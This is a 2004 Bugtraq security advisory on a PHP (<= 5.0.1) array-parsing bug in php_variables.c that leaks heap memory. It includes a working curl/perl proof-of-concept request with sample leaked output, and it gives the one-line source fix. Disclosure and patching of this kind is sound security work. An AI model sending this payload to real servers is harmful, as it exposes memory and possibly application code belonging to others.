bugtraq - PHP Vulnerability N. 1

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Date: Wed, 15 Sep 2004 18:59:41 +0200
From: Stefano Di Paola <stefano.dipaola@...ec.it>
To: Bugtraq <bugtraq@...urityfocus.com>
Cc: vulnwatch <vulnwatch@...nwatch.org>
Subject: PHP Vulnerability N. 1

Hi all,
This summer i have been playing around with some php issue
and got some php vulnerabilities..

Let's go for the first one:

==========================================================
Title: php(super)info().
Affected: Php <= 5.0.1
Not Affected: it seems Php <= 4.1.2
Vulnerability Type:  Exposure of sensitive informations
Vendor Status: Fix released on cvs.php.net

==Summary:

Bad array parsing in php_variables.c could lead to show arbitrary memory
content such as pieces of php code and other data.
This affects all GET, POST or COOKIES variables.

==Description:

By appending to a GET/POST/COOKIE variable array a [ (open square
bracket) like abc[a][, 
the length of the 'a' array element is set to the length of variable
name strlen("abc").

$ curl  "http://www.example.com/phpinfo.php" -d `perl -e 'print
"f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

or some php file containing print_r function:
<?
print_r($_REQUEST);
?>

it will print the output similar to:
------------------------------------------------
  Array
(
    [ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
      ffffffffffffffffffffffffffffffffffffffff] => Array
        (

[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0] => 1
        )
)
-----------------------------------------------

As probably you might have noticed all the garbage shown is memory
content that could be everything (on the heap i suppose). 

I have tried some request and it expose some piece of php code sometime.

==Solution: 
Authors were contacted and they released a fix for this problem.

The problem is easy to fix.

Find and replace around line 136 for php 5.0.1 in main/php_variables.c
from:

index_len = var_len = strlen(var);

to:

index_len = var_len = strlen(index);
and compile again.

But if you're lazy the patch can be found on the CVS
cvs.php.net/main/php_variables.c

=========================================

Stefano Di Paola

....----oOOo-------oOOo----....
Stefano Di Paola
Software Engineer
stefano.dipaola_at_wisec_dot_it
stefano.dipaola1_at_tin_dot_it
--------------------------------